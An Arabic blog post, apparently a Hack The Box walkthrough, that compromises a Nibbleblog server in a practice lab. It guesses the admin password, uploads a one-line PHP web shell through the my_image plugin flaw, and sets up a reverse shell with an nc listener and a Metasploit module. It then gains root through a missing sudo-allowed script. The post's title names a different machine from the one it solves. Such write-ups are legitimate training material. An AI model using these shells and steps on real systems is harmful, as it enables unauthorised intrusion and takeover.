بسم الله الرحمن الرحيم
في هذه التدوينه راح اشرح طريقه حل تحدي Bashed من موقع Hack The Box
مستوى الصعوبه ” سهل ” وتصنف كاحد الاجهزه المشابهه لاختبار OSCP
ملاحظه مهمه ” كل ماهو مظلل باللون الاسود  والخط باللون الاخضر مرتبط بشكل مباشر بالحل او أمر يتم تنفيذه “

مثل ماتعودنا اول خطوه نفحص الجهاز باستخدام NMAP
 10.10.10.75  nmap -sC -sV

الجهاز مفتوح فيه منفذين 22 – 80
مبدئيا راح نركز على منفذ 80 الخاص بسيرفر الويب.

نتيحه فحص nmap
ينتيحه فحص nmap

نجرب نتصفح السيرفر من خلال المتصفح
http://10.10.10.75
بنلاحظ ان الموقع فيه فقط جمله Hello World!

لكن لو فتحنا مصدر الصفحه بنلاحظ في شي غريب!

محتوى مصدر الصفحه
محتوى مصدر الصفحه

تلميحه بوجود مجلد اسمه  /nibbleblog/ 
نجرب نتصفح المجلد
http://10.10.10.75/nibbleblog
جميل!!! المجلد يحتوى على مدونه من نوع ” Nibbleblog

مدونه Nibbleblog
مدونه Nibbleblog

بعد تصفح المدونه مالقيت مبدئيا شي مثير للاهتمام, قررت استخدم FFUF الي شرحناها في حل تحديات سابقه للبحث عن اي ملف او مجلد مخفي ممكن يساعدنا
ffuf -v -u http://10.10.10.75/nibbleblog/FUZZ -w /usr/share/dirb/wordlists/big.txt
بعد البحث وصلنا لملف مثير للاهتمام  ” README ”
فيه اصدار المدونه وهذا راح يسهل علينا عمليه البحث عن استغلال 😎

نتيجه استخدام اداه FFUF
نتيجه استخدام اداه FFUF
محتوى ملف README
محتوى ملف README

بعد بحث اكتشفنا وجود ثغره في هذا الاصدار من المدونه برقم ايضاً اذا هنا المزيد من التفاصيل عن الثغره

الثغره تسمح لنا برفع ملف خبيث على الموقع ,لكن عشان نقدر نستغل هذه الثغره نحتاج
1- معرفه رابط الدخول للوحه التحكم
2- اسم المستخدم وكلمه المرور
3- تفعيل اضافه my_image

عشان نعرف رابط لوحه التحكم  عنردنا اكثر من خيار ,نقدر ننزل السكربت من الانترنت ونثبته او نبحث عن الرابط الافتراضي للوحه التحكم, لكن لنفرض ان المسار تم تغييره من قبل الادمن ؟
في هذه الحاله نقدر نستخدم FFUF مع اضافه e- .php في نهايه الامر للبحث عن الملفات بامتداد php
راح يكون الامر بهذا الشكل:
ffuf -u http://10.10.10.75/nibbleblog/FUZZ -w /usr/share/dirb/wordlists/big.txt -e .php
لاحظ نتيجه البحث

البحث عن مسار مجلد الادمن
البحث عن مسار مجلد الادمن

قدرنا نكتشف مسار ملف لوحه التحكم
http://10.10.10.75/nibbleblog/admin.php
الان نحتاج معرفه اسم المستخدم وكلمه المرور

بعد عدد من المحاولات والبحث قدرت اكتشف ملفين فيهم بعض المعلومات المهمه,
الملف الاول:
http://10.10.10.75/nibbleblog/content/private/config.xml
وجدنا فيه البريد الاكتروني “admin@nibbles.com

محتويات ملف config.xml
محتويات ملف config.xml

الملف الثاني :
http://10.10.10.75/nibbleblog/content/private/users.xml
يحتوي على اسم المستخدم

محتويات ملف users.xml
محتويات ملف users.xml

للاسف هذه المعلومات الي قدرت اعرفها حتى الان !!
بعد بحث عن طريقه للحصول على الرقم السري للمستخدم او عن توفر اسم مستخدم ورقم سري افتراضي للوحه التحكم لم اكتشف شيء.
الان الحل الوحيد هو التجربه بشكل عشوائي وبما ان الخيارات قليله راح نجرب اسم المستخدم
admin
والرقم السري احد هذه الخيارات
nibbleblog
nibbles.com
admin@nibbles.com
nibbles
من حسن الحظ كان nibbles الي هو جزء من دومين البريد الالكتروني هو الباسورد الصحيح 🙄

الان ننتقل للخطوه الاخيره قبل تنفيذ الاستغلال وهي تفعيل my_image

بعد الدخول للوحه التحكم نضغط على plugins

ثم نبحث عن my_image ونضغط install

الان وقت الاستغلال 😎
ننشيء ملف جديد بامتداد php
كل شخص يستخدم طريقته في انشاء ملف انا استخدمت هذه الخطوات
vim cmd.php
اضغط i للدخول في وضعيه الكتابه
اكتب الكود الموجود بالاسفل ثم اضغط esc
وادخل :wq!
ثم Enter
ممكن الطريقه بالنسبه للبعض صعبه لكن مهم جداً تعرف تتعامل مع vim لتحرير الملفات
ونكتب داخله

#one line shell
<?php system($_REQUEST['buhaimedi']); ?>

نرجع للوحه التحكم ومن خيار plugins ثم اسفل My image نضغط Configure

ونرفع الملف

نرفع الملف من هذه الصفحه
نرفع الملف من هذه الصفحه

حسب معلومات الثغره الموجود بالروابط الي في الاعلى محتويات الملف الي رفعناه بتكون بداخل هذا الملف

content/private/plugins/my_image/image.php
وحسب الكود السابق المتغير الي استخدمته هو buhaimedi
النتيجه بتكون هذا الرابط
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?buhaimedi=whoami

نقدر نغير whoami وننفذ اي امر على السيرفر ” Remote Code Execution

قدرنا ننفذ امر على السيرفر
قدرنا ننفذ امر على السيرفر

الان نحتاج نحصل على shell
نجرب نرفع ملف شيل ثاني لتسهيل عمليه الاتصال العكسي والحصول على شيل

اذا تستخدم kali linux او parrot  بيكون موجود في هذا المسار
/usr/share/webshells/php/php-reverse-shell.php

تقدر تنسخه للمجلد الحالي من خلال امر cp

cp /usr/share/webshells/php/php-reverse-shell.php .

افتح الملف ثم ابحث عن

$ip = '10.9.104.73';  // CHANGE THIS
$port = 4444;       // CHANGE THIS

 غير العنوان والمنفذ
وفي سطر الاوامر نفذ هذا الامر لفتح منفذ مطابق للمنفذ المحدد في ملف php
nc -lvp 4444

الان نرفع الملف php-reverse-shell.php مثل مافعلنا سابقا مع cmd.php
ونفتح الرابط بنفس الطريقه لكن بدون المتغير buhaimedi

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php

لو كانت الخطوات سليمه بنحصل على اتصال بهذا الشكل

بعد الحصول على شيل
بعد الحصول على شيل

لكن هل هذه الطريقه الوحيده للحصول على shell؟
طبعا لاً
في اكثر من طريقه.
نجرب نحصل على شيل باستخدام  Metasploit
نشغل ميتاسبلويت
msfconsole

نبحث عن استغلال لمدونه nibbleblog
search nibbleblog
نختار الاستثمار
use exploit/multi/http/nibbleblog_file_upload

ثم نستعرض خيارات الاستثمار
show options
لاحظ اعدادت الاستغلال الافتراضيه

نستخدم set متبوعه باسم الخانه المراد تعديلها
set password nibbles
set username admin
set rhosts 10.10.10.75

هنا حددنا اسم المجلد الموجود بداخله المدونه
set targeturl /nibbleblog
هنا حددنا عنوان IP الخاص بجهازي
set lhost 10.10.14.18
وهنا المنفذ
set lport 3333

اعدادات nibbleblog_file_upload بعد تعديلها في ميتاسبلويت
اعدادات nibbleblog_file_upload بعد تعديلها في ميتاسبلويت

اعدادات nibbleblog_file_upload الافتراضيه في ميتاسبلويت

الان ننفذ الاستغلال
exploit

حصلنا على شيل مره اخرى بطريقه مختلفه
الان متبقي فقط تصعيد الصلاحيات.
نبدأ دائما بأمر
sudo -l
لاحظنا وجود ملف نقدر نشغله باستخدام sudo وبدون باسورد
/home/nibbler/personal/stuff/monitor.sh

نتيجه تنفيذ امر sudi -l
نتيجه تنفيذ امر sudo-l

لو جاولنا نفتح الملف بيعطنا رساله خطأ ان الملف مو موجود

في هذه الحاله نقدر ننشئ مجلد بنفس المسار وملف بأسم monitor.sh ونحقن فيه اي كود وراح نقدر ننفذه بصلاحيات root
cd /home/nibbler
ثم ننشئ المجلدين

mkdir -p personal/stuff
الان ننشئ الملف monitor.sh ونكتب داخله  bash
echo "bash" >personal/stuff/monitor.sh
كل شي جاهز الان
لو نفذنا هذا الامر بنحصل على روت
sudo personal/stuff/monitor.sh

خطوات رفع الصلاحيات
خطوات رفع الصلاحيات

BOOOOOOOOOOOOOOOOOOOM!!!!!!
حصلنا على روت

اتمنى ان اكون وفقت في شرح جميع الخطوات بوضوح
اذا عجبتك التدوينه لاتنسى مشاركتها مع اصدقائك من خلال الضغط على رابط تويتر بالاسفل , دعمكم هو سبب استمراري في التدوين,, شكراً جزيلاً لكم
حسابي في منصه تويتر @buhaimedi